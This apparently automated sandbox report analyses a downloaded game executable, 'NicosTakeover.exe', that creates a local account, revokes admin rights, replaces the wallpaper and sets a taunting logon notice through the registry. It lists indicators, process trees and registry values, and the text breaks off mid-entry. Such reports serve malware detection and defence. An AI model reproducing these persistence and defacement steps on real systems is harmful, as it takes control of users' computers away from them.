hxxps://nicodalegend[.]itch[.]io/nicos-takeover

Analysis

user interaction
yes
max time kernel
287s
max time network
239s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
27/10/2026, 04:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://nicodalegend.itch.io/nicos-takeover
Sample261027-el5msaat7x

Score

9^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Downloads MZ/PE file 1 IoCs

flow	pid	Process
25	4792	chrome.exe

Executes dropped EXE 2 IoCs

pid	Process
6120	NicosTakeover.exe
1904	NicosTakeover.exe

Loads dropped DLL 58 IoCs

pid	Process
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1052	net.exe
564	net1.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1826067017-2692080558-3687773357-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_MEI000017e82\\Assets\\Wallpaper\\YouAreMine.jpg"	NicosTakeover.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\NicosTakeover.exe:Zone.Identifier	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
916	cmd.exe
336	cmd.exe
6064	cmd.exe
3296	cmd.exe
4828	cmd.exe
1936	cmd.exe
4164	cmd.exe
4708	cmd.exe
1264	cmd.exe
3444	cmd.exe
3208	cmd.exe
1200	cmd.exe
2068	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NicosTakeover.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	NicosTakeover.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4792	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "72"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1826067017-2692080558-3687773357-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1826067017-2692080558-3687773357-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1826067017-2692080558-3687773357-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1826067017-2692080558-3687773357-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\NicosTakeover.exe:Zone.Identifier	chrome.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2268	chrome.exe
2268	chrome.exe
1904	NicosTakeover.exe
1904	NicosTakeover.exe
2268	chrome.exe
2268	chrome.exe
3376	chrome.exe
3376	chrome.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
3012	Process not Found
3348	Process not Found
5992	Process not Found
3352	Process not Found
5560	Process not Found
4980	Process not Found
4564	Process not Found
5752	Process not Found
1712	Process not Found
5352	Process not Found
3676	Process not Found
3920	Process not Found
4716	Process not Found
6080	Process not Found
1956	Process not Found
2564	Process not Found
1112	Process not Found
1284	Process not Found
3964	Process not Found
2024	Process not Found
5320	Process not Found
1412	Process not Found
364	Process not Found
1268	Process not Found
5100	Process not Found
3500	Process not Found
2528	Process not Found
5564	Process not Found
484	Process not Found
4196	Process not Found
3744	Process not Found
2872	Process not Found
2712	Process not Found
3420	Process not Found
5476	Process not Found
2012	Process not Found
5012	Process not Found
2640	Process not Found
2908	Process not Found
1684	Process not Found
2456	Process not Found
1856	Process not Found
3716	Process not Found
3208	Process not Found
904	Process not Found
3160	Process not Found
5532	Process not Found
1288	Process not Found
1484	Process not Found
3380	Process not Found
5196	Process not Found
564	Process not Found
4612	Process not Found
1720	Process not Found
952	Process not Found
2632	Process not Found
5764	Process not Found
5420	Process not Found
4580	Process not Found
5684	Process not Found
4576	Process not Found
4440	Process not Found
2080	Process not Found
5568	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe
Token: SeShutdownPrivilege	2268	chrome.exe
Token: SeCreatePagefilePrivilege	2268	chrome.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe
2268	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1540	LogonUI.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 5208	2268	chrome.exe	81
PID 2268 wrote to memory of 4792	2268	chrome.exe	82
PID 2268 wrote to memory of 5392	2268	chrome.exe	83
PID 2268 wrote to memory of 5392	2268	chrome.exe	83
PID 2268 wrote to memory of 5936	2268	chrome.exe	84
PID 2268 wrote to memory of 5936	2268	chrome.exe	84
PID 2268 wrote to memory of 3720	2268	chrome.exe	86
PID 2268 wrote to memory of 4248	2268	chrome.exe	87
PID 2268 wrote to memory of 3720	2268	chrome.exe	86
PID 2268 wrote to memory of 4248	2268	chrome.exe	87
PID 2268 wrote to memory of 5568	2268	chrome.exe	88
PID 2268 wrote to memory of 5568	2268	chrome.exe	88
PID 2268 wrote to memory of 2664	2268	chrome.exe	91
PID 2268 wrote to memory of 3244	2268	chrome.exe	93
PID 2268 wrote to memory of 3244	2268	chrome.exe	93
PID 2268 wrote to memory of 4008	2268	chrome.exe	94
PID 2268 wrote to memory of 4008	2268	chrome.exe	94
PID 2268 wrote to memory of 3864	2268	chrome.exe	95
PID 2268 wrote to memory of 3864	2268	chrome.exe	95
PID 2268 wrote to memory of 5492	2268	chrome.exe	96
PID 2268 wrote to memory of 5492	2268	chrome.exe	96
PID 2268 wrote to memory of 5532	2268	chrome.exe	97
PID 2268 wrote to memory of 5764	2268	chrome.exe	98
PID 2268 wrote to memory of 952	2268	chrome.exe	99
PID 2268 wrote to memory of 2900	2268	chrome.exe	100
PID 2268 wrote to memory of 6120	2268	chrome.exe	101
PID 6120 wrote to memory of 1904	6120	NicosTakeover.exe	103
PID 1904 wrote to memory of 4708	1904	NicosTakeover.exe	104
PID 1904 wrote to memory of 1264	1904	NicosTakeover.exe	105
PID 1904 wrote to memory of 916	1904	NicosTakeover.exe	106
PID 1904 wrote to memory of 336	1904	NicosTakeover.exe	107
PID 1904 wrote to memory of 3444	1904	NicosTakeover.exe	108
PID 1904 wrote to memory of 3208	1904	NicosTakeover.exe	109
PID 1904 wrote to memory of 1200	1904	NicosTakeover.exe	110
PID 1200 wrote to memory of 1052	1200	cmd.exe	111
PID 1052 wrote to memory of 564	1052	net.exe	112
PID 1904 wrote to memory of 6064	1904	NicosTakeover.exe	113
PID 6064 wrote to memory of 1908	6064	cmd.exe	114
PID 1908 wrote to memory of 6020	1908	net.exe	115
PID 2268 wrote to memory of 3376	2268	chrome.exe	116
PID 1904 wrote to memory of 2068	1904	NicosTakeover.exe	117
PID 1904 wrote to memory of 3296	1904	NicosTakeover.exe	118
PID 3296 wrote to memory of 5508	3296	cmd.exe	119
PID 5508 wrote to memory of 4324	5508	net.exe	120
PID 1904 wrote to memory of 4828	1904	NicosTakeover.exe	121
PID 4828 wrote to memory of 4376	4828	cmd.exe	122
PID 4376 wrote to memory of 4916	4376	net.exe	123
PID 1904 wrote to memory of 1936	1904	NicosTakeover.exe	124
PID 1904 wrote to memory of 4164	1904	NicosTakeover.exe	125
PID 2268 wrote to memory of 4760	2268	chrome.exe	126
PID 2268 wrote to memory of 4760	2268	chrome.exe	126

System policy modification 1 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "NICO//SESSION"	NicosTakeover.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "This PC is administered by Princess Nico.\n\nFormer admin: Admin\nCurrent admin: Princess Nico\n\nYour session has been noted. Your wallpaper has been claimed.\nYour admin rights have been revoked.\n\nThis message will appear every time you start this computer.\nShe doesn't need to be running to remind you.\n\nLog in. She already knows you will."	NicosTakeover.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://nicodalegend.itch.io/nicos-takeover
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffbe611c728,0x7ffbe611c734,0x7ffbe611c740
  2⤵
  PID:5208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1904,i,16245580303972281678,17172526573657007441,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2028 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:4792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1644,i,2870067308552254417,10050618706194906061,262144 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=220 /prefetch:2
  2⤵
  PID:5392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2228,i,15781233508059107027,9920531375745750742,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2684 /prefetch:13
  2⤵
  PID:5936
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,4642366344441208319,4697367154971399656,2097152 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:3720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,12899813502520487694,17113615155698710086,2097152 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3300 /prefetch:1
  2⤵
  PID:4248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4360,i,13915315984851392317,2229699351254088344,2097152 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4316 /prefetch:9
  2⤵
  PID:5568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5356,i,7439511292109531972,2901184110670611618,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5360 /prefetch:14
  2⤵
  PID:2664
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5616,i,7063227348008228309,17064986014220993683,2097152 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5632 /prefetch:1
  2⤵
  PID:3244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3888,i,10853293069526096816,17089811953540175162,2097152 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5596 /prefetch:1
  2⤵
  PID:4008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5880,i,6684082390352106314,3824459544334549229,2097152 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5876 /prefetch:1
  2⤵
  PID:3864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5988,i,16326250192972738701,10746261644279118442,2097152 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6000 /prefetch:1
  2⤵
  PID:5492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5916,i,4888194655309885129,8226980151330992291,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6128 /prefetch:14
  2⤵
  PID:5532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4488,i,12568668260629575171,16943515534160304037,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6176 /prefetch:14
  2⤵
  PID:5764
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,14351119041506442079,17434360511384355408,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6216 /prefetch:14
  2⤵
  PID:952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4732,i,9587679961537003669,17051965987180843291,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6244 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:2900
- C:\Users\Admin\Downloads\NicosTakeover.exe
  "C:\Users\Admin\Downloads\NicosTakeover.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:6120
- - C:\Users\Admin\Downloads\NicosTakeover.exe
    "C:\Users\Admin\Downloads\NicosTakeover.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Sets desktop wallpaper using registry
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:1904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c
      4⤵
      Executes a command shell one-liner
      PID:4708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title DON'T CLOSE THIS
      4⤵
      Executes a command shell one-liner
      PID:1264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title NICO//SESSION — Admin-PC
      4⤵
      Executes a command shell one-liner
      PID:916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title NICO is looking at Admin's computer
      4⤵
